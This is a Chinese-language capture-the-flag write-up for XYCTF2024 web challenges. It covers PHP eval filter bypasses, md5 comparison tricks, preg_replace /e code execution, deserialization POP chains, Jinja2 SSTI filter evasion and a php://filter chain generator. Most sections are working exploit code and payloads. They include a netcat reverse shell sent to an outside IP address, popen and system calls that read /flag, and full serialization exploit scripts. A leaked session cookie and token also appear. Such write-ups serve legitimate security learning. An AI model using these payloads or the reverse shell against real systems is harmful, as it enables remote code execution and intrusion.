XYCTF2024 Web方向题解


仅作wp记录用,不宣泄任何情绪,仅作知识分享

牢牢记住,逝者为大

想你了牢大

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

可以看到这里好多限制:

  • 长度限制小于等于13
  • 命令执行的几个函数都被过滤了
  • 对于val,也就是我们传入的值进行了限制,不能够是上面的bin|mv|cp|ls|\||f|a|l|\?|\*|\>/
  • eval前后都有脏数据

这里其实过滤倒是其次,这边要考虑的更重要的是两个方面:长度限制和脏数据

我这边的思路经历了以下的流程:

  • 数组绕过strlen

但是发现不太行,因为我们知道字符串拼接之后数组会直接变成Array:

所以肯定是不行的,只能够老老实实用13个字符限制做这个题

  • 执行命令

这里我先把Kobe的限制去掉了,变成:

1
$cmd = $_GET['cmd'];

这样先测试命令执行

可以看到eval里面前面是一个#,也就是一个注释符,它能够将后面的内容都注释掉。

所以我们就算写好了cmd也没用,只能够注释掉

但是#//是一样的,都是单行注释符,所以我们只需要换行即可,加个%0a就可以绕过前面的限制

后半段呢,我打算是用__HALT_COMPILER();直接终止编译成字符串的,乍看之下它可行,但是实际上这个函数本身就已经超过了13个字符的限制,更不要谈getshell

在这里我就卡住了一会,因为这个HALT_COMPILER我的印象比较深刻

然后我想着想着突然茅塞顿开,前面的#注释能不能能用到后面去呢?

然后我就测试了一下:

1
%0asystem('dir');#

当然这个#要用urlencode成%23

答案是可以的:

本地测试dir有结果

所以前后都确定了:

1
%0a + shell + %23

接下来就是在11个字符的限制下打一个shell

想起p神的最短webshell:

你猜怎么着,刚好11个长度

payload那就呼之欲出了

1
%0a`$_GET[1]`;%23&1=dir>1.txt

回到题目,还对>做出了限制

所以我这里打算打一个反弹shell,刚刚好题目是出网的:

1
%0a`$_GET[1]`;%23&1=nc%20106.52.94.23%202333%20-e%20sh

warm up

第一层就是简单的md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("什么情况,这么基础的md5做不来");
}
} else {
die("学这么久,传参不会传?");
}

用下面这个链接全秒了:

反序列化-md5和sha1绕过_md5反序列化-CSDN博客

弱等不想想,直接用数组:

1
val1[]=1&val2[]=2

下面双md5,在上面的文章随便挑一个就行了

1
md5=0e215962017

最后这个,我们要先看看这个XYCTF_550102591

md5之后是什么东西

其实还是个0e开头的md5,那就简单了

利用extract将XYCTF覆盖成和XY一致的变量:

1
XYCTF=s878926199a&XY=s878926199a

到达第二关:

LLeeevvveeelll222.php

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
echo "操作你O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level
} else {
die("有点汗流浃背");
}

preg_match,用数组绕:

1
a[]=1

下面这个preg_replace有点特别,估计是利用\e来执行命令

1
preg_replace('/(\S*)/ei','strtolower("\\1")', '{${phpinfo()}}');

抄一下:

1
a=/(\S*)/ei&b=system('ls')&c=1

出了:

1
a=/(\S*)/ei&b=system('cat /flag')&c=1

Make File

直接命令执行

1
echo $(shell cat /flag)

ezmd5

两张图片如下:

cryptanalysis - Are there two known strings which have the same MD5 hash value? - Cryptography Stack Exchange

ezhttp

登录框,f12找到提示藏在某个地方

其实这个时候可以dirsearch开搜

但是这边可以猜一猜,猜到了robots.txt:

访问这个txt

1
2
username: XYCTF
password: @JOILha!wuigqi123$

然后拿hackbar操一下:

ezpop

看到有个throw Exception就可以想到利用gc回收机制来绕过

链子终点BBB->__get

通过AAA->__toString访问BBB类的$p来进入BBB

通过CCC->destruct进入toString

链子:

1
CCC::__destruct() -> AAA::__toString() -> BBB::__get()

但是这里要简单的测一下中间这个:

1
2
3
if (isset($b['a'])) {
unset($b['a']);
}

弄出来是个什么东西

这里出了个套娃,简单地看一下

1
call_user_func($a,$b)($c)($d);

其实就是相当于用call_user_func调用函数A,通过A(c)调用函数B,然后B(c)调用函数B,然后B(d)实现rce

那么要怎么挑选呢?

首先可以根据$b是一个数组可以确定$a是一个获取到数组的键或者值的函数,无参rce里的几个函数可以利用得到

我这边就挑选了array_rand,不过他是随机的,但是数组长度只有1,所以array_rand就是确定的

通过array_rand能够获取到键名,而且它的键名是一个函数名,我这边选了hex2bin

利用hex2bin来调用system:

1
hex2bin('73797374656d');

利用system获取到flag即可,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
highlight_file(__FILE__);
error_reporting(0);

class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}

class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
//call_user_func($a,$b);
}
}

class CCC
{
public $c;

public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}


if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}

$a = new AAA;
$b = new BBB;
$c = new CCC;
$c->c = $a;
$a->s = $b;
$b->c = '73797374656d';
$b->d = 'cat /flag';

$d = array(0=>$c, 1=>null);
$result = serialize($d);
$result = str_replace("i:1", "i:0", $result);
echo $result;

//POST传入:a=array_rand&hex2bin=任意

ez?make

反引号命令执行反弹shell:

可以看到源码过滤了这些

我是一个复读机

其实这个题一句话就可以带过:

弱密码爆破+requests.values.xx传参绕ssti

弱密码选了个asdqwe,用fuzzdict-master可以爆的出来(某集团常用弱口令字典)

输入框输入中文以后出的大括号才是ssti用的大括号

🤔,总之就是中文这块比较难想。还是队友帮忙测出来的

找一下os_warp_close:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#http://xyctf.top:52468/index?sentence=()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(1)%E5%95%8A%E5%95%8A&a=__class__&b=__base__&c=__subclasses__&d=__getitem__

import requests

url = 'http://xyctf.top:54392/index?sentence='
cookies={
"GZCTF_Token":"CfDJ8NASxn5J2mJJj3Gt7corBUbSwDa7Z_ojKNGoBIbbzBU0hAxYZnr8o2OyMArTsjctK9kyOFL9rVJpSIyC2a932lZDu4qGq5RtSxgFdbp9N9X5NeWJTW9kTR4I0VSOKyYuh2R2AySdVleI6aDmvCPqkZxcCmKrM-Qp9qnwmz4svu_bHJNYitc72QRcrFgGHc18fwKDItYc7hjDWTPSIYbESQpXfJW5WNh_5jgrsi-HDIr6i0NjILiJyQvIGhC9xMckM5MpK8I_gy2DZizRVghTFimuONxXtgQrMsuR3vF6ZEEpwr19X0AuGRSJZ85vg2dADK6BItD3joDohRn27dwXgVAJZc2hB5H-hzlyNrjmHvMVKCrei3hXyXQyVUJUWUmtix-XSoXnt8V4QS18nOt1Y6D3VXjiRBfRSd9oxess86MonuTbNiv38YV327JNptezmUYZOYdge8R2sttB9EWuVCvq-y0H7xnOYcr6-O0a3oa0k6uOXlgAdPwjtLfJbHUQKRlsN5p--qS6-OdkhRbm33Vqyhgwx8KjHJlIfYZ3N99CLx59zXM2yofyCdSZyJsCC-JzfF39QSlzHrCQdp1OmpHSJbmIpPb5RY5bur8B0FI0ZdgyhNIldRxBbNOIa25jNidBc_982OPVERERTSsSRj-XwDtkuAwGMHN53mHmswj8GzV2zpx9cnB3WpXamuhM9Own_MKYuUZb4Ce3lrbo8ZI",
"session":"eyJ1c2VybmFtZSI6ImFkbWluIn0.ZgvBIA.pXr_8buAz08pydb04GAhCf2KoT4"
}

for i in range(0, 1000):
req_url = url + f'()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)({i})%E5%95%8A%E5%95%8A&a=__class__&b=__base__&c=__subclasses__&d=__getitem__'
res = requests.get(url=req_url, cookies=cookies)
if "os._wrap_close" in res.text:
print("[*]Found " + str(i))
break
else:
print("[*]Testing " + str(i))

payload很简单:

1
?sentence=(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()啊啊&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag

加两个中文就有两个大括号,ssti

admin asdqwe登录即可,ssti完了简单扒个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from flask import *
import urllib.parse
app = Flask(__name__)
app.secret_key = 'lzlcnb'
# 设置会话密钥,用于加密会话数据
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
# 进行登录验证逻辑,如验证用户名密码是否匹配等
# 登录验证成功
if username=='admin' and password=='asdqwe':
session['username'] = username
return redirect('/index')
return render_template('login.html')
@app.route('/index')
def index():
if 'username' in session:
try:
# word=request.args.get('sentence') # if word=="{{}}":
# word=None flag=0 word = request.args.get('sentence')
balck_array=['[',']','_','config','url_for','system','flag','file','os','"',"'",'cat','system','eval','more','tail','less','base64','file','nc','python','exec','{','}']
for i in balck_array:
if word!=None and i in word: word="what are you doing,little hacker"
break
if word is not None:
for i in range(len(word)):
if ord(word[i])>128: word='{'+word[0:i]+word[i+1:]+'}'
flag+=1
else: word="what do you want to say"
if flag:
word="我只能看懂你说的英文(>﹏<)"+word
if "{{}}" in word: word = word.replace("{{}}",'{ {}}')
html='''
<!DOCTYPE html> <html> <head> <title>我是一个复读机</title> <style> body {{ font-family: Arial, sans-serif; background-image: url('/static/yourname.jpg'); /* 替换 'background.jpg' 为您想要设置的背景图片路径 */ background-size: cover; background-position: center; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; height: 100vh; }} form {{ background-color: rgba(255, 255, 255, 0.8); padding: 20px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); width: 800px; }} h2 {{ text-align: center; color: #333; }} label {{ display: block; margin-top: 10px; color: #555; }} input[type="text"], input[type="password"] {{ width: 100%; padding: 8px; margin-top: 4px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; }} input[type="submit"] {{ width: 100%; padding: 8px; margin-top: 10px; background-color: #007bff; color: #fff; border: none; border-radius: 4px; cursor: pointer; }} input[type="submit"]:hover {{ background-color: #0056b3; }} </style> </head> <body> <form action="/index" method="get"> <h2>我的宝,你说什么我就说什么</h2> <label for="sentence">你想说的话</label> <input type="text" id="sentence" name="sentence" required> <input type="submit" value="tell me"> <h2>{}</h2> </form> </body> </html>
'''.format(word)
return render_template_string(html)
except Exception as e:
return "出现了一点小问题"
else: return redirect('/')

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True,port=8080)

ezSerialize

第一层:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);

class Flag {
public $token;
public $password;

public function __construct()
{

}

public function login()
{
return $this->token === $this->password;
}
}

$a = new Flag();
$a->password = &$a->token;

echo serialize($a);

来到/fpclosefpclosefpcloseffflllaaaggg.php(第二层)

终点类:

C::__call

链子:

1
C::__call <- A:: __invoke <- B::__get <- D::__toString <- E::__unserialize 

不知道为什么打不上去

绕wakeup的,版本估计是7.3了,,:

1
O:11:"ArrayObject":4:{i:0;i:0;i:1;O:1:"E":2:{s:4:"name";s:5:"xxxxx";s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}i:2;a:0:{}i:3;N;}

不绕的:

1
O:1:"E":2:{s:4:"name";s:5:"xxxxx";s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}

你妈的,为什么打不了

我操,原来要把name置成null:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
highlight_file(__FILE__);
class A {
public $mack;
public function __invoke()
{
$this->mack->nonExistentMethod();
}
}

class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}

class C {
public $wang1;

public function __call($wang1,$wang2)
{
include 'flag.php';
echo $flag;
}
}


class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}

class E {
public $name = "xxxxx";
public $num;

public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}

$a = new A;
$b = new B;
$c = new C;
$d = new D;
$e = new E;
$e -> name = null;
$e -> num = $d;
$d -> lao = $b;
$b -> luo = $a;
$a -> mack = $c;

echo serialize($e);

if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}
//O:1:"E":2:{s:4:"name";N;s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}

第三层,链子自己看吧,主要利用到一个stdClass(),可以看一下这位师傅的博客php反序列化小记(1),没什么好说的,链子都是能看得出来的,具体原理大概是如果题目当中没有能够反序列化获取属性的对象,那么可以用stdClass类,这是一个php的内置类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php

error_reporting(0);
highlight_file(__FILE__);

// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;

public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
{
$this->Liu = $Liu;
$this->T1ng = $T1ng;
$this->upsw1ng = $upsw1ng;
}
}

class XYCTFNO2
{
public $crypto0;
public $adwa;

public function __construct($crypto0, $adwa)
{
$this->crypto0 = $crypto0;
}

public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}

class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";

public function __construct($KickyMu, $fpclose)
{
$this->KickyMu = $KickyMu;
$this->fpclose = $fpclose;
}

public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}

public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}


if (isset($_GET['CTF'])) {
unserialize($_GET['CTF']);
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
error_reporting(0);


// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;

public function __construct()
{

}
}

class XYCTFNO2
{
public $crypto0='dev1l';
public $adwa;

public function __construct()
{

}

public function XYCTF()
{

if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {

return False;
} else {

return True;
}
}
}

class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";

public function __construct()
{

}

public function XY()
{

if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}

public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}

$xy3 = new XYCTFNO3();
$xy2 = new XYCTFNO2();
$xy1 = new XYCTFNO1();
$d = new stdClass();
$xy3 -> KickyMu = $xy2;
$xy3 -> N1ght = 'oSthing';
$xy2 -> adwa = $d;
$d-> crypto0 = 'dev1l';
$d -> T1ng = 'yuroandCMD258';

echo urlencode(serialize($xy3));

连连看到底是连连什么看

源码大概如下,记不清了:

1
2
3
4
5
6
7
<?php
$p = $_GET['p'];
$chain = "php://filter/$p/resource=/etc/passwd";
if(file_get_contents($chain) === "XYCTF"){
include('flag.php');
echo $flag;
}

原理都在_rev1ve神的博客文章上有

因为base64只能接受[A-Za-z0-9+/=],所以其他的不可见字符一旦进入到decode流程就会被忽略

所以很简单,套就是了,一直decode直至只剩下XYCTF

找到一个php_filter_chain_generator.py,挺高级的利用了,它支持任意的payload写入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/env python3
import argparse
import base64
import re

# - Useful infos -
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

# No need to guess a valid filename anymore
file_to_use = "php://temp"

conversions = {
'0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
'1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
'5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
'6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
'8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
'=': ''
}

def generate_filter_chain(chain, debug_base64 = False):

encoded_chain = chain
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in encoded_chain[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
if not debug_base64:
# don't add the decode while debugging chains
filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"
return final_payload

def main():

# Parsing command line arguments
parser = argparse.ArgumentParser(description="PHP filter chain generator.")

parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
args = parser.parse_args()
if args.chain is not None:
chain = args.chain.encode('utf-8')
base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
chain = generate_filter_chain(base64_value)
print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
print(chain)
if args.rawbase64 is not None:
rawbase64 = args.rawbase64.replace("=", "")
match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
if (match):
chain = generate_filter_chain(rawbase64, True)
print(chain)
else:
print ("[-] Base64 string required.")
exit(1)

if __name__ == "__main__":
main()

exp:

1
2
3
python3 php_filter_chain_generator.py --chain Vm1wQ1lXTXhTa2RYYTFwWVZWRQ

http://172.17.0.2/what's_this.php?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.B